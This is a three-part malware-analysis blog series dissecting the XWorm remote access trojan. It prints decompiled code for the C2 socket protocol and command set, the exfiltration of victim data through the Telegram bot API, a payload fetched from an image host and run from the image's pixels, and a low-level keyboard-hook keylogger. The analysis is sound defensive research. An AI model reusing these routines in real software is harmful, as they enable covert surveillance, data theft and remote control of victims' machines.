Threat Anatomy

012 - Decoding XWorm: Command and Control

Fri, 02 May 2025 12:08:00 -0500

Introduction

Throughout this series, we have examined and analyzed various XWorm capabilities:

How XWorm is obfuscated, and part of its content encrypted.
How XWorm detects whether it is running in a virtualized environment or being analyzed.
How XWorm evades being inspected by Windows Defender and ensures its persistent presence on its victim’s system.
How XWorm uses USB devices to infect new victims.
How XWorm intercepts cryptocurrency transactions to steal them.
How XWorm uses steganography to obtain new versions of itself.

In this article, we will conclude our analysis of XWorm by exploring its Command and Control capabilities.

Analysis of Communication with the C2 Server

We begin the analysis by reviewing the code of the function akmI2V6A24xXwzijq1Apr6qc8vIECvYw7wuhn35sTaltgYEwhJpRu6tPvkdv2PZ0dBnVrJ, which runs continuously and invokes the function BksWN8usZHEPYjXOepUuPed506P8l7490zXstDClo3w3ocS9R4MKGnmKsDsVV4Gzbxo8CD every 3–10 seconds:

private static void akmI2V6A24xXwzijq1Apr6qc8vIECvYw7wuhn35sTaltgYEwhJpRu6tPvkdv2PZ0dBnVrJ()
{
for (;;)
{
	Thread.Sleep(new Random().Next(3000, 10000));
	{
		BksWN8usZHEPYjXOepUuPed506P8l7490zXstDClo3w3ocS9R4MKGnmKsDsVV4Gzbxo8CD();
	}
}
}

The function’s code appears complex due to obfuscation; however, we can observe references to network configurations (Socket, receiveBufferSize, sendBufferSize, ProtocolType.Tcp, Connect, etc.):


0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.veYDgekcw0bU4jdnY5J8alsB4HT00HWcgPPZj69QgPj61tNLG4BgAEXSJQT6xfAcMu6F9y = -1L;
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.p2zuNHWJloJe50wCMpwwp6Fyf8wHuGYk7ut2iuVLH8ECLXc5F86SI3DEjOPjJyAlFA7c9F = new byte[1];
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.vlofGR2jYYtgBo8ZJYQkrMJ7mCXyaeAUOvhz8Fj4oLsKfA6Z9Bjbu8w4L1oawDMPeG17oJ = new MemoryStream();
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p.ReceiveBufferSize = 51200;
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p.SendBufferSize = 51200;
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p.Connect(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.qsurotxVBQWuN1wXL7Sl3R7UMOoGherwjkt90, Conversions.ToInteger(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.vaPrr1IV8frcD45YWkTGWcPr8LuQlXihBUinL));
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.OkuWBmMkpuiVIW6eyvaKWy4CDDKrSTSQwnG6q8u9hJWeul4YEsKDRLLkQu3LmoAhGA89NA = true;
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.j4FT1dlaJqQ3jblx3hdeFi6bjwXmQkMdBN8Pj3PmpcYjLDlRuFIRjW11zgFa91XkoXOwiA = RuntimeHelpers.GetObjectValue(new object());
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.oRkru4kYIVUPRva4enZYKUiXdip6AWo5GOCIlJY4K6mvXmarmBevCDWutpso4tvV9TT5Ir(Conversions.ToString(0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.TvaCJXe9EYrimDi3sObeVd7NzQvx0fopFC38oM8zJpcyL1AYAFXAeSiuXHgr2BXkNMnCHQ()));
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p.BeginReceive(0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.p2zuNHWJloJe50wCMpwwp6Fyf8wHuGYk7ut2iuVLH8ECLXc5F86SI3DEjOPjJyAlFA7c9F, 0, 0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.p2zuNHWJloJe50wCMpwwp6Fyf8wHuGYk7ut2iuVLH8ECLXc5F86SI3DEjOPjJyAlFA7c9F.Length, SocketFlags.None, new AsyncCallback(0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.o9x1mOeWpPy464ka6PK9zEVXVQ91kurk2fzW8Rr3WmGK2z2GmM1eU4MTUoPB9EVeoGziI0), null);
TimerCallback timerCallback = new TimerCallback(0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.lJC5FDMJRtcFIDSwjsw3CFlq3tIYZOUWMMB5b2xIAYivpM6VTJZGbzHVHiRvzCLIsmnI4m);
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.RxLzJ8KpdWFhOHJ6LWJyvCEVqQ6FRPlJrmYVdFdutMN9WYYz7sB6jpLjMeXkK6aO5KvTTC = new Timer(timerCallback, null, new Random().Next(10000, 15000), new Random().Next(10000, 15000));

After cleaning up the code a bit, we get the following:

class.vSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
...
class.vBuffer = new byte[1];
class.vMemoryStream = new MemoryStream();
class.vSocket.ReceiveBufferSize = 51200;
class.vSocket.SendBufferSize = 51200;
class.vSocket.Connect(class2.host, Conversions.ToInteger(class2.port));
...
class.vSocket.BeginReceive(class.vBuffer, 0, class.vBuffer.Length, SocketFlags.None, new AsyncCallback(class.vCallBack), null);
TimerCallback timerCallback = new TimerCallback(class.vState);
class.vTimer = new Timer(timerCallback, null, new Random().Next(10000, 15000), new Random().Next(10000, 15000));

We see that XWorm establishes a connection to a host and port, which come from the values decrypted when the malware started; then, it begins receiving traffic sent by the server and stores it in a buffer (vBuffer). Once it finishes receiving traffic, it proceeds to call a function (vCallBack).

Additionally, we see that a timer is created which calls the timerCallback function every 10–15 seconds.

The invoked function, vCallBack, uses its own logic to interpret any message received from the server:

public static void vCallBack(IAsyncResult vReceivedTraffic)
{
	int num = class.vSocket.EndReceive(vReceivedTraffic);
	if (num > 0)
	{
		if (class.vControl == -1L)
		{
			if (class.vBuffer[0] == 0)
			{
				class.vControl = Conversions.ToLong(class2.GetString(class.vMemoryStream.ToArray()));
				class.vMemoryStream.Dispose();
				class.vMemoryStream = new MemoryStream();
				if (class.vControl == 0L)
				{
					class.vControl = -1L;
					class.vSocket.BeginReceive(class.vBuffer, 0, class.vBuffer.Length, SocketFlags.None, new AsyncCallback(class.vCallBack), class.vSocket);
					return;
				}
				class.vBuffer = new byte[(int)(class.vControl - 1L) + 1];
			}
			else
			{
				class.vMemoryStream.WriteByte(class.vBuffer[0]);
			}
		}
		else
		{
			class.vMemoryStream.Write(class.vBuffer, 0, num);
			if (class.vMemoryStream.Length == class.vControl)
			{
				ThreadPool.QueueUserWorkItem(new WaitCallback(class.vFuncToExecute), class.vMemoryStream.ToArray());
				class.vControl = -1L;
				class.vMemoryStream.Dispose();
				class.vMemoryStream = new MemoryStream();
				class.vBuffer = new byte[1];
			}
			else
			{
				class.vBuffer = new byte[(int)(class.vControl - class.vMemoryStream.Length - 1L) + 1];
			}
		}
		class.vSocket.BeginReceive(class.vBuffer, 0, class.vBuffer.Length, SocketFlags.None, new AsyncCallback(class.vCallBack), class.vSocket);
	}
}

The vCallBack function handles incoming data from the C2 server. XWorm expects the server to send instructions in three parts:

A string representing the payload size (e.g. “20”),
A separator byte (\x00),
The actual payload (the instructions).

We can go step by step through how the code to see how XWorm handles this protocol:

Read incoming data: The function starts by calling EndReceive, which tells us how many bytes were received. If nothing was received (num <= 0), the function exits.
Initial state – waiting for payload size: If the control variable vControl is -1 (its initial value), we’re still assembling the payload size from the bytes received.

Case A: Separator received (vBuffer[0] == 0) This means the size string is complete. The accumulated data in vMemoryStream is converted into a number, which is saved into vControl.

If the converted number is 0, we ignore it (probably a keep-alive or malformed request) and reset everything to listen again. Otherwise, we prepare a buffer sized exactly to receive the actual payload.
Case B: Still receiving size string (vBuffer[0] != 0) This means we’re still in the process of building the payload size string, byte by byte. The current byte is appended to the MemoryStream, and we wait for more data.

Payload reception phase (vControl != -1): At this point, we know how much data to expect. All received bytes are written to the MemoryStream.

If the total number of bytes received matches vControl, we’ve successfully assembled a full payload.
That payload is now passed to vFuncToExecute using a thread from the thread pool.
After execution is queued, the state is reset to prepare for the next instruction.

Continue receiving: After handling any chunk of data, the function calls BeginReceive again, so it can handle the next piece of data when it arrives.

Decrypting the Payload

The C2 server sends the payload encrypted, which is then decrypted using the Rijndael algorithm:

public static byte[] bYp2DT0qddN2(byte[] vReceivedPayload)
{
	RijndaelManaged rijndaelManaged = new RijndaelManaged();
	MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
	byte[] array;
	try
	{
		rijndaelManaged.Key = md5CryptoServiceProvider.ComputeHash(class1.GetBytes(class2.key));
		rijndaelManaged.Mode = CipherMode.ECB;
		ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();
		array = cryptoTransform.TransformFinalBlock(vReceivedPayload, 0, vReceivedPayload.Length);
	}
	return array;
}

In the analyzed sample, the key is <123456789>.

Command Execution

Once the payload is decrypted, it is split using the Strings.Split function, having the string <Xwormmm> as separator:

string[] array = Strings.Split(class1.GetString(class1.bYp2DT0qddN2(vReceivedPayload)), Conversions.ToString(class.separador), -1, CompareMethod.Binary);
string text = array[0];
if (Operators.CompareString(text, "rec", false) == 0)
{
	zsvYKm3Krg57.UnsetProcessCritical();
	Application.Restart();
	Environment.Exit(0);
}
else if (Operators.CompareString(text, "CLOSE", false) == 0)
{
	zsvYKm3Krg57.UnsetProcessCritical();
	class.vSocket.Shutdown(SocketShutdown.Both);
	class.vSocket.Close();
	Environment.Exit(0);
}
...

The first part from the splitted the payload corresponds to the command, while the second part corresponds to the arguments the command expects; for example, the payload Urlopen<Xwormmm>C:\Windows\System32\calc.exe would execute the Urlopen command, passing the path to the Windows calculator as an argument:

 if (Operators.CompareString(text, "Urlopen", false) == 0)
{
class.Urlopen(array[1], false);
}

...
public static void Urlopen(string command, bool download)
		{
			if (download)
			{
				try
				{
					ServicePointManager.Expect100Continue = true;
					ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
					ServicePointManager.DefaultConnectionLimit = 9999;
				}
				HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(command);
				httpWebRequest.UserAgent = TFIW2FSLtw9S.yeTD98gQKyr3[new Random().Next(TFIW2FSLtw9S.yeTD98gQKyr3.Length)];
				httpWebRequest.AllowAutoRedirect = true;
				httpWebRequest.Timeout = 10000;
				httpWebRequest.Method = "GET";
				using ((HttpWebResponse)httpWebRequest.GetResponse())
				{
				}
			}
			else
			{
				Process.Start(command);
			}
		}

XWorm supports the following commands:

rec: changes the process priority from critical to non-critical and restarts the program
CLOSE: changes the process priority from critical to non-critical and closes the program
uninstall: removes the malware and its persistence mechanisms
update: updates the malware with the information sent by the C2
DW/FM/LN: different ways of downloading and executing programs
Urlopen: starts the process provided by the C2 (for example, “C:\Windows\System32\calc.exe”)
PCShutdown: shuts down the computer
PCRestart: restarts the computer
PCLogoff: logs the user off
StartDDos: initiates a DDoS attack on the URL specified by the attacker
StopDDos: stops an ongoing DDoS attack
StartReport: sends the running processes to the C2 server
Xchat/ngrok: sends the agent ID to the C2 server
plugin: downloads and executes a plugin
OfflineGet: captures what the user types (keylogger)
$Cap: takes a screenshot of the device and sends it to the C2 server
MessageBox: displays a message to the user

Conclusion

After 7 articles, we have finally reached XWorm’s objective: it is a RAT (Remote Access Trojan) with multiple capabilities:

Keylogger
Cryptocurrency theft
Taking screenshots
Launching a DDoS attack
Executing a program on its victim’s system
Downloading and executing a program (for example, ransomware)
Plugin installation

The vast number of capabilities XWorm has, along with the measures it takes to remain unnoticed, make it an interesting malware to analyze; XWorm is constantly evolving, so it will be interesting to check in a few months what new techniques it has implemented to continue compromising new victims.

011 - Decoding XWorm: Communication via Telegram and Retrieval of New Variant

Wed, 16 Apr 2025 12:08:00 -0500

Introduction

In the previous article, we explored how XWorm intercepts cryptocurrency wallet addresses to steal funds and captures keystrokes from the victim. In this article, we’ll examine how XWorm reports back to its creators when it infects a new victim, and how it updates itself if necessary.

Communication via Telegram

The code XWorm uses to report itself is easy to understand:

using (WebClient webClient = new WebClient())
{
	string newLine = Environment.NewLine;
	string text = string.Concat(new string[]
	{
		"☠ [WizWorm]",
		newLine,
		newLine,
		"New Clinet : ",
		newLine,
		TFIW2FSLtw9S.FJMqXu7uvzCu(),
		newLine,
		newLine,
		"UserName : ",
		Environment.UserName,
		newLine,
		"OSFullName : ",
		2HmONKQojJhuyq7J5js7wzrwlEjPZ2gvOmWLZ.Computer.Info.OSFullName
	});
	webClient.DownloadString(string.Concat(new string[]
	{
		"https://api.telegram.org/bot",
		Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.nnOZhYK0wjpot1RoNGOJ1bkjxjVdRCDD7uXeR,
		"/sendMessage?chat_id=",
		Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.LFycjzFw0leIPcKun6Ib6Mf8btUoQQknVTabA,
		"&text=",
		text
	}));
}

Taking a quick look at the code, we see that it sends the username of the victim, as well as the operating system; we also see the text ☠ [WizWorm], which helps identify the malware.

The malware calls the function FJMqXu7uvzCu, which generates a unique identifier using information from the victim’s machine:

public static string FJMqXu7uvzCu()
{
	string text;
	try
	{
		text = TFIW2FSLtw9S.zH5IMQfj0k7d(string.Concat(new object[]
		{
			Environment.ProcessorCount,
			Environment.UserName,
			Environment.MachineName,
			Environment.OSVersion,
			new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize
		}));
	}
	catch (Exception ex)
	{
		text = "Err HWID";
	}
	return text;
}

The zH5IMQfj0k7d function generates an MD5 hash of the following values: number of CPU cores, username, machine hostname, OS version, and hard drive size. It then concatenates the values after converting them to hexadecimal and extracts the first 20 characters of the resulting string.

XWorm uses the Telegram API to send the victim’s data to a group:

https://api.telegram.org/bot572051XXXX:AAF4KOAv3GXHFU0RS3g4XXXXXXXXXXXX__A/sendMessage?chat_id=-1001540XXXXXX&text=INFORMACIONUSUARIO

Obtaining a New Variant

After notifying its creators about the new victim via Telegram, XWorm starts a new thread to download an image, process it, and execute the resulting content:

public static void u4JX9v7FvmTG()
{
	Thread.Sleep(5000);
	try
	{
		ServicePointManager.Expect100Continue = true;
		ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
		ServicePointManager.DefaultConnectionLimit = 9999;
	}
	try
	{
		WebClient webClient = new WebClient();
		Bitmap bitmap = (Bitmap)Image.FromStream(webClient.OpenRead("https://i.ibb.co/DwrXXXX/Image.png"));
		List<byte> list = new List<byte>();
		object obj;
		object obj2;
		if (ObjectFlowControl.ForLoopControl.ForLoopInitObj(obj, 0, checked(bitmap.Width - 1), 1, ref obj2, ref obj))
		{
			do
			{
				list.Add(bitmap.GetPixel(Conversions.ToInteger(obj), 0).R);
			}
			while (ObjectFlowControl.ForLoopControl.ForNextCheckObj(obj, obj2, ref obj));
		}
		AppDomain.CurrentDomain.Load(list.ToArray()).EntryPoint.Invoke(null, null);
	}
	catch (Exception ex2)
	{
		Thread.Sleep(2000);
	}
}

If we download the image, we can confirm that it’s a standard image, not flagged as malicious by Windows Defender. XWorm employs a technique called steganography, which hides information within files like images, videos, or text.

By analyzing the code, we see that it iterates through each pixel of the image, extracts the red component, and adds it to a list. Then, it uses the AppDomain.Load method to load the list as a block of code, retrieves the start of the code using the Assembly.EntryPoint property, and finally, executes the code using the Invoke method.

In the following image, we can identify the bytes 4D and 5A - MZ, which are characteristic of .EXE programs:

Analysis

I find it interesting that XWorm carries out malicious activities, such as cryptocurrency theft and keylogging, before reporting to its creator. This is likely because these actions could trigger detection and removal of the malware, so the creators probably wait until they are certain that these activities have not been blocked before notifying them of a new victim.

XWorm continues to showcase the creativity of its developers by using steganography to hide new variants of itself. The image XWorm downloads is a normal image (not an .exe file renamed as .png), meaning it cannot be executed on its own. Windows Defender or any tool that analyzes network traffic would simply see a PNG image and not raise any alerts. This type of rarely used technique is what makes XWorm interesting (similar to the infection of new devices through USBs).

Next Steps

In the next article, we will conclude the analysis of XWorm by unraveling its Command and Control capabilities.

010 - Decoding XWorm: Keylogger and Cryptocurrency Capture

Wed, 19 Mar 2025 12:08:00 -0500

Introduction

In the previous article, we saw how XWorm uses removable devices to infect new systems. In this article, we begin analyzing some of its malicious capabilities, such as cryptocurrency capture and keylogging.

Keylogger

After copying itself to any USB device connected to the system, the malware creates two threads: one invoking the function MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz, and another calling the function ThPsG0ZcwqMa4kJtYpmfUiZCDYdrN4oqfZTPJXN3GUBU4Fn0jO3gkFsMruRx8UdiBqQKAm. 010-newthreads.png

Keylogger: Configuration

We begin by analyzing the function MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz; since the variable and class names are obfuscated, the analysis appears to be challenging:


private static void MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz()
		{
			nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.mXoA0oyBbMu9pEDOWAfTn0eDkRR6tCTlxo5fRlkh0sY5IOrbnvsPXthl7ri4ntfJ7PgB8Z();
		}

...
public class nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj
	{
		public static void mXoA0oyBbMu9pEDOWAfTn0eDkRR6tCTlxo5fRlkh0sY5IOrbnvsPXthl7ri4ntfJ7PgB8Z()
		{
			nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.gwErjDsnC1yo = nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.DDJc7Kd7F6aaQAtw8IuzYQEwEuydszgkZGcZmYldo7F2VpX4pg3i0mjfoBgF8yN1tSNk2V(nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.jtmLNbYtCsof);
			Application.Run();
		}

		private static IntPtr DDJc7Kd7F6aaQAtw8IuzYQEwEuydszgkZGcZmYldo7F2VpX4pg3i0mjfoBgF8yN1tSNk2V(nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.LowLevelKeyboardProc yLdFEmWSxYqDUE2MSaK8byBrFb9TKt6NNA5UGYhJ0P36Ekxb5Xlv4jsv7n1FS8B8mFT3g0)
		{
			IntPtr intPtr;
			using (Process currentProcess = Process.GetCurrentProcess())
			{
				intPtr = nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.xMRKhSEFUeLtIVlvOA6JZJl6bRcqyHKnHJZ4inSYE73uPLNPJvpJtHnQpOI8mrZS8y7Ng1(nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.8iakvQZQ3uCL, yLdFEmWSxYqDUE2MSaK8byBrFb9TKt6NNA5UGYhJ0P36Ekxb5Xlv4jsv7n1FS8B8mFT3g0, nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.n0nrWLA4QQMJ(currentProcess.ProcessName), 0U);
			}
			return intPtr;
		}
	}

To make the analysis easier, we can replace the obfuscated names with the object types they refer to:


private static void MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz()
		{
			class1.functionToAnalyze();
		}

...
public class class1
	{
		public static void functionToAnalyze()
		{
			class1.vIntPtr = class1.fIntPtr(class1.pLLKP);
			Application.Run();
		}

		private static IntPtr fIntPtr(class1.LowLevelKeyboardProc pLLKP)
		{
			IntPtr intPtr;
			using (Process currentProcess = Process.GetCurrentProcess())
			{
				intPtr = class1.fSetWindowsHookEx(class1.8iakvQZQ3uCL, pLLKP, class1.fGetModuleHandle(currentProcess.ProcessName), 0U);
			}
			return intPtr;
		}
	}

The functions GetModuleHandle and SetWindowsHookEx are imported from kernel32.dll and user32.dll respectively:

[DllImport("kernel32.dll", CharSet = CharSet.Auto, EntryPoint = "GetModuleHandle", SetLastError = true)]
private static extern IntPtr n0nrWLA4QQMJ(string 2gOtdzHXuJup);
...
[DllImport("user32.dll", CharSet = CharSet.Auto, EntryPoint = "SetWindowsHookEx", SetLastError = true)]
private static extern IntPtr xMRKhSEFUeLtIVlvOA6JZJl6bRcqyHKnHJZ4inSYE73uPLNPJvpJtHnQpOI8mrZS8y7Ng1(int eaumUTNAkviChy2tqEDeM0SShTHsaeZlS7WQIrR7EyR8lZM20OAXvM1VFzYcRgJy5DScJX, class1.LowLevelKeyboardProc 7NjY5GRTVvwQvA6ZXa9y8nYzHZ4z7ajSdL6MUzh9kPwlM2eiTp3pk12WuNdPItI73IVkIz, IntPtr lLnF5cjxmOrjJ2FCk3G0pDgporhBDC0ER5EcU6BwjbOJTbGBD3o1vFBhGSs1UxqhgTWAhz, uint 5cfZ6xNJMxk4FBvpDa393dukNrMKnk6yiXAYCXSkorYfC1BbZVhyo4wVmPFPShBjROxIt3);

With that information, we can fill in the value of the variable 8iakvQZQ3uCL and simplify the functions to better understand the code:

		public static void functionToAnalyze()
		{
			class1.vIntPtr = class1.fIntPtr(class1.pLLKP);
			Application.Run();
		}

		private static IntPtr fIntPtr(class1.LowLevelKeyboardProc pLLKP)
		{
			IntPtr intPtr;
			using (Process currentProcess = Process.GetCurrentProcess())
			{
				intPtr = SetWindowsHookEx(13, pLLKP, GetModuleHandle(currentProcess.ProcessName), 0);
			}
			return intPtr;
		}

The SetWindowsHookEx function takes the following parameters:

idHook: The type of hook to be set. 13 corresponds to “WH_KEYBOARD_LL” and is used to monitor keyboard events.
lpfn: A pointer to the procedure to execute (“pLLKP” in the previous code).
hmod: A handle to the DLL that contains the procedure. XWorm sets it to its own process.
dwThreadId: The thread to associate the hook with. 0 means “associate with all threads.”

To summarize, the function MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz does the following:

It calls a function that takes a “callback” procedure as a parameter, which will be executed when a certain condition is met.
The function invoked in step 1 uses the SetWindowsHookEx function, imported from USER32.DLL, to set up a hook that monitors keyboard events and invokes the “callback” procedure when an event occurs.
The “callback” procedure is of type LowLevelKeyboardProc, and is invoked every time a keyboard event is registered.

In other words, XWorm creates a new thread that constantly monitors any keyboard events and calls a function when activity is detected.

Keylogger: execution

Now, let’s analyze the invoked procedure, step by step:

private static IntPtr rHzPCfhAysljAD7Z8nXRLld8JvZxRY7URgDHWWn5v53nbYoJ9VMmtNFi8wUKBindqhIXYI(int JQiRKsyUPZiJ5Cz0ekuccbKd82JueeNl1Jgmu3SdXa9iyTnjkbzJSFvUE4JuYLoj2G1vsL, IntPtr RIOpU75Z5EU6R2xU3iHHePiEgibGSLGP78907ZnTHUNpRVZIqq97AZ3UyMTXnzqm4AkO9l, IntPtr uiEmrQuda6mD1g9JtEBu0vriJpB3K9AFGASMuHlT9NbcWv1sDOE1JJ32wTGGrhEPhzzWdX)
		{
			if (JQiRKsyUPZiJ5Cz0ekuccbKd82JueeNl1Jgmu3SdXa9iyTnjkbzJSFvUE4JuYLoj2G1vsL >= 0 && RIOpU75Z5EU6R2xU3iHHePiEgibGSLGP78907ZnTHUNpRVZIqq97AZ3UyMTXnzqm4AkO9l == (IntPtr)256)
			{
				object obj = Marshal.ReadInt32(uiEmrQuda6mD1g9JtEBu0vriJpB3K9AFGASMuHlT9NbcWv1sDOE1JJ32wTGGrhEPhzzWdX);
				object obj2 = ((int)nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.E7DLvYqDXgLo(20) & 65535) != 0;
				object obj3 = ((int)nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.E7DLvYqDXgLo(160) & 32768) != 0 || ((int)nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.E7DLvYqDXgLo(161) & 32768) != 0;
				object obj4 = nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.w7RxULSKw1Nl9nqQAu7jggFp1ssG5Ke8X1zOrxdHQj2xMKsLF0sUryONm13ZONJBo8grrI(Conversions.ToUInteger(obj));
...
[DllImport("user32.dll", CharSet = CharSet.Auto, EntryPoint = "GetKeyState", ExactSpelling = true)]
		private static extern short E7DLvYqDXgLo(int zybtWxM2jgdH);

If we replace the obfuscated functions and variables with what the LowLevelKeyboardProc documentation tells us, we get the following:

private static IntPtr pLLKP(int nCode, IntPtr wParam, IntPtr lParam)
		{
			if (nCode >= 0 && wParam == (IntPtr)256)
			{
				object obj = Marshal.ReadInt32(lParam);
				object obj2 = ((int)GetKeyState(20) & 65535) != 0;
				object obj3 = ((int)GetKeyState(160) & 32768) != 0 || ((int)GetKeyState(161) & 32768) != 0;
...

According to the documentation, the parameters that the function takes are the following:

nCode: A code that the procedure uses to process the message; 0 means there is keyboard event information.
wParam: The message identifier; 256 corresponds to 0x100, which corresponds to WM_KEYDOWN. This event is triggered when a key is pressed.
lParam: A pointer to the KBDLLHOOKSTRUCT structure.

The code uses the GetKeyState function to determine if the Caps Lock key is being pressed and assigns the result to the variable obj2. Similarly, it checks if either the right or left Shift keys are pressed and assigns that result to the variable obj3. Information about which number corresponds to each key can be found here.

The next variable assigned is obj4, which uses the GetKeyboardState, MapVirtualKey, GetKeyboardLayout, GetWindowThreadProcessId, GetForegroundWindow, and ToUnicodeEX functions to obtain the Unicode character of the pressed key.

If we continue analyzing the code, we see that it converts the characters to uppercase/lowercase depending on whether the Caps Lock or Shift keys are pressed. Additionally, it checks if the F1-F24 keys are pressed and logs that action within square brackets:

if (Conversions.ToBoolean((Conversions.ToBoolean(obj2) || Conversions.ToBoolean(obj3)) ? true : false))
				{
					obj4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(obj4, null, "ToUpper", new object[0], null, null, null));
				}
				else
				{
					obj4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(obj4, null, "ToLower", new object[0], null, null, null));
				}
				if (Conversions.ToInteger(obj) >= 112 && Conversions.ToInteger(obj) <= 135)
				{
					obj4 = "[" + Conversions.ToString(Conversions.ToInteger(obj)) + "]";
				}

The code also checks if non-alphanumeric keys are being pressed and logs them within square brackets:

...
string text = ((Keys)Conversions.ToInteger(obj)).ToString();
					if (Operators.CompareString(text, "Space", false) == 0)
					{
						obj4 = "[SPACE]";
					}
					else if (Operators.CompareString(text, "Return", false) == 0)
					{
						obj4 = "[ENTER]";
					}
					else if (Operators.CompareString(text, "Escape", false) == 0)
					{
						obj4 = "[ESC]";
					}
					else if (Operators.CompareString(text, "LControlKey", false) == 0)
					{
						obj4 = "[CTRL]";
					}
...

Finally, the code logs the pressed key to the file "C:\\temp\\Log.tmp", specifying the name of the process where the victim is typing and the title of the window:

...
using (StreamWriter streamWriter = new StreamWriter("C:\\temp\\Log.tmp", true))
				{
